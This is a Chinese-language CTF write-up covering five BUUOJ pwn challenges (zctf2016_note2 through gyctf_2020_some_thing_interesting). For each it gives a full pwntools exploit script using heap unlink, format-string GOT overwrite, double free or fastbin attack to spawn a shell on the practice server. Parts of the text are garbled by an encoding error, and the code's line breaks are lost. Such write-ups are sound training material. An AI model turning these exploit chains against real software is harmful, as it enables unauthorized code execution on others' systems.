buuoj Pwn writeup 106-110
106 zctf2016_note2
保護
菜單堆。
new
最多申請4個。
然后里面有個神奇的函數
會把里面的%剔除掉。
申請的chunk最大也只能是fastbin范圍的chunk。
ptr地方是指針的數組
0x602140是size的數組
0x602160是大小
show
平平無奇輸出函數。
edit
edit推陳出新,有了兩種模式,overwrite跟append。
free
free清理的很干凈。
我們最后發(fā)現這個漏洞是在edit函數里。我們只需要讓v6-strlen(&dest) == 0,即可繞過’\0’的截斷,實現溢出。因此我們只需add(0,’’),即可利用這個chunk來溢出,由于PIE也沒開啟并且堆指針保存在bss段,因此做unsorted bin unlink比較簡單
需要注意的是由于使用了strcpy函數,因此,我們布置64位數據時,必須從最后一個開始,前面用正常不截斷的字符填充,逐步向前來布置多個64位數據。
exp
#coding:utf8 from pwn import *context.log_level = "debug"r = remote('node3.buuoj.cn',27408) libc = ELF('./64/libc-2.23.so') elf = ELF('./106') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] r.sendlineafter('Input your name:','haivk') r.sendlineafter('Input your address:','huse')def add(size,content):r.sendlineafter('option--->>','1')r.sendlineafter('(less than 128)',str(size))r.sendlineafter('Input the note content:',content)def show(index):r.sendlineafter('option--->>','2')r.sendlineafter('Input the id of the note:',str(index))def edit(index,content,mode=1):r.sendlineafter('option--->>','3')r.sendlineafter('Input the id of the note:',str(index))r.sendlineafter('[1.overwrite/2.append]',str(mode))r.sendlineafter('TheNewContents:',content)def delete(index):r.sendlineafter('option--->>','4')r.sendlineafter('Input the id of the note:',str(index))heap_ptr_1 = 0x0000000000602120 #prev_size size fake_chunk = p64(0) + p64(0x81 + 0x20) #fd、bk fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10) fake_chunk += 'a'*0x10add(0x80,fake_chunk) #0 add(0,'') #1 add(0x80,'b'*0x20) #2 add(0x10,'c'*0x8) #3#通過1溢出,修改chunk2的頭數據 #修改chunk1的prev_size #由于strncat遇0截斷,因此,寫prev_size和size的時候,我們分兩步,從后往前寫 #第一次寫size為0x90,即設置prev_inuse為0標記前面的chunk為空閑狀態(tài) payload = 'd'*0x10 + 'd'*0x8 + p8(0x90) edit(1,payload) #第二次寫prev_size,需要先清零prev_size處其他的d數據 for i in range(7,-1,-1):payload = 'd'*0x10 + 'd'*iedit(1,payload) #現在寫prev_size,寫為0x20 + 0x80 payload = 'd'*0x10 + p64(0x20 + 0x80) edit(1,payload) #unsorted bin unlink delete(2) #現在可以控制堆指針數組了 #第一次,我們先將heap[0]改成heap數組本身的地址+8,進而下一次利用 edit(0,'a'*0x18 + p64(heap_ptr_1 + 8)) #修改heap[1]為atoi_got payload = p64(atoi_got) edit(0,payload) #泄露atoi地址 show(1) r.recvuntil('Content is ') atoi_addr = u64(r.recv(6).ljust(8,'\x00')) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) #修改atoi的got表為system地址 edit(1,p64(system_addr)) #getshell r.sendlineafter('option--->>','/bin/sh')r.interactive()107 suctf_2018_basic pwn
保護
ret2text?
exp
from pwn import * context.log_level='debug'r = remote('node3.buuoj.cn',29514)flag_addr = 0x401157 payload = 'a' * 0x118 + p64(flag_addr) r.sendline(payload)r.interactive()108 wdb_2018_2nd_easyfmt
保護
簡簡單單格式化字符串漏洞。
通過這個格式化字符串,泄露libc地址,然后劫持got表,把printf函數的got表可以改成one_gadget,或者system都行。
偏移測一手。是6.
exp
from pwn import * context.log_level='debug'r = remote('node3.buuoj.cn',26269) #r = process("./108") elf = ELF("./108") libc = ELF("./32/libc-2.23.so")puts_got = elf.got['puts'] printf_got = elf.got['printf']payload = '%7$s' + p32(puts_got) r.recvuntil("Do you know repeater?\n") r.sendline(payload) puts_addr = u32(r.recv(4))libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] print hex(libc_base)payload = fmtstr_payload(6, {printf_got:system_addr}) r.sendline(payload)#gdb.attach(r)payload = "/bin/sh\x00" r.sendline(payload)r.interactive()109 ciscn_2019_en_3
保護
保護是綠油油。
菜單堆,一上來先給了我個格式化字符串漏洞的下馬威。
add
這結構稍微饒了一點。
就是從202060開始,八個字節(jié)大小,八個字節(jié)地址。
沒有edit跟show。
free不能說沒有清理干凈吧,只能說沒有清理。
環(huán)境是ubuntu18,有個uaf,我們可以直接考慮double free,也不用繞過啥保護,直接攻擊malloc_hook,然后getshell。
那么我們首先從泄露地址開始,我們直接用那個開頭的格式化字符串來泄露。
泄露函數的時候要注意這個printf_chk函數跟我們平常見到的printf函數還不大一樣,泄露地址的時候還是要結合gdb
上面都是一些初始化的過程,跑到這里才進入正題。
結合輸出,結合棧,看偏移
偏移為1的在這里,也看得出來這個函數實際上是通過_I_O_FILE來進行的一個輸出。
偏移為2的時候就找到一個可以用的,那我們就輸出這個地址來拿到libc的基地址。
from pwn import*r = remote("node3.buuoj.cn", 28362) #r = process("./109")elf = ELF("./109") libc = ELF("./64/libc-2.27.so")context.log_level = "debug"def add(size, content):r.sendlineafter("Input your choice:", "1")r.sendlineafter("Please input the size of story: \n", str(size))r.sendlineafter("please inpute the story: \n", content)def delete(index):r.sendlineafter("Input your choice:", "4")r.sendlineafter("Please input the index:\n", str(index))payload = "%p-%p" r.sendlineafter("What's your name?\n", payload) r.recvuntil("-0x") libc_base = int(r.recv(12), 16) - 0x110081 free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system']r.sendlineafter("Please input your ID.\n", "123456")add(0x70, 'aaaa') #0 add(0x60, "/bin/sh\x00") #1 delete(0) delete(0)payload = p64(free_hook) add(0x70, payload)add(0x70, 'aaaa') add(0x70, p64(system_addr))#gdb.attach(r)delete(1)r.interactive()要注意的是printf_chk函數不能任意泄露地址,只能泄露棧里面的地址,任意泄露的話會報這樣的錯。
還要注意的是這道題我們攻擊的是free hook,為什么?因為我們在攻擊malloc hook的時候需要用one_gadget,但是我們需要realloc抬棧,但是很多時候抬不對,如果我們用free的話,直接俄system就可以,因為可以傳參。
110 gyctf_2020_some_thing_interesting
保護
進入程序首先映入眼簾的是
然后就是我們熟悉的菜單堆。
check
這里面我們可以看得出來,可能會有一個格式化字符串漏洞。為什么說可能呢……因為那個s就是前面下馬威的那個字符串,現在還不知道能不能利用。
create
平平無奇,結構的話花里胡哨了一點,兩個地址數組,兩個大小數組。
申請的大小不能超過0x70,所以申請不到大小為unsorted bin的chunk,所以我們后續(xù)泄露地址的時候就要注意了。
modify
平平無奇的輸入函數。
view
平平無奇的輸出函數。
delete
平平無奇的uaf。
所以這道題看著花里胡哨,其實平平無奇uaf。
至于上面的那個格式化字符串漏洞,其實不用也行嘛。
所以還是我們經典利用方式。制造double free。
首先通過我們上面發(fā)現的printf來泄露地址。
制造double free,進行fastibin attack,攻擊malloc_hook,然后getshell。
exp
from pwn import *r = remote("node3.buuoj.cn", 29962) #r = process("./110")context.log_level = 'debug'elf = ELF("./110") libc = ELF('./64/libc-2.23.so')one_gadget = 0xf1147 def add(size1, content1, size2, content2):r.recvuntil("#######################\n")r.sendline('1')r.recvuntil("> O's length : ")r.sendline(str(size1))r.recvuntil("> O : ")r.send(content1)r.recvuntil("> RE's length : ")r.sendline(str(size2))r.recvuntil("> RE : ")r.send(content2)def delete(index):r.recvuntil("#######################\n")r.sendline('3')r.recvuntil("> Oreo ID : ")r.sendline(str(index))def show(index):r.recvuntil("#######################\n")r.sendline('4')r.recvuntil("> Oreo ID : ")r.sendline(str(index))def edit(index, content1, content2):r.recvuntil("#######################\n")r.sendline('2')r.recvuntil("> Oreo ID : ")r.sendline(str(index))r.recvuntil("> O : ")r.sendline(content1)r.recvuntil("> RE : ")r.sendline(content2)r.recvuntil("> Input your code please:") r.sendline("OreOOrereOOreO"+'%17$p') #elf 11 libc 17r.recvuntil("#######################\n") r.sendline('0') r.recvuntil("# Your Code is ")r.recvuntil('0x') start_main = int(r.recv(12), 16) - 0xf0 libc_base = start_main - libc.sym['__libc_start_main'] malloc_hook = libc.sym['__malloc_hook'] + libc_base one_gadget = one_gadget + libc_baseadd(0x68, 'chunk0\n', 0x20, 'chunk1\n') add(0x68, 'chunk2\n', 0x20, 'chunk3\n') delete(1) delete(2) delete(1) add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n') add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n') r.recvuntil("#######################\n") r.sendline('1') r.recvuntil("> O's length : ") r.sendline(str(0x68))r.interactive()我們說攻擊freehook的話可以不用抬棧啥的,那我們?yōu)樯恫蝗ビ盟?br /> 因為fake chunk偽造不了,啥也沒有。
總結
以上是生活随笔為你收集整理的buuoj Pwn writeup 106-110的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《铁路竹枝词四首》_文若
- 下一篇: 项目开发流程(简述)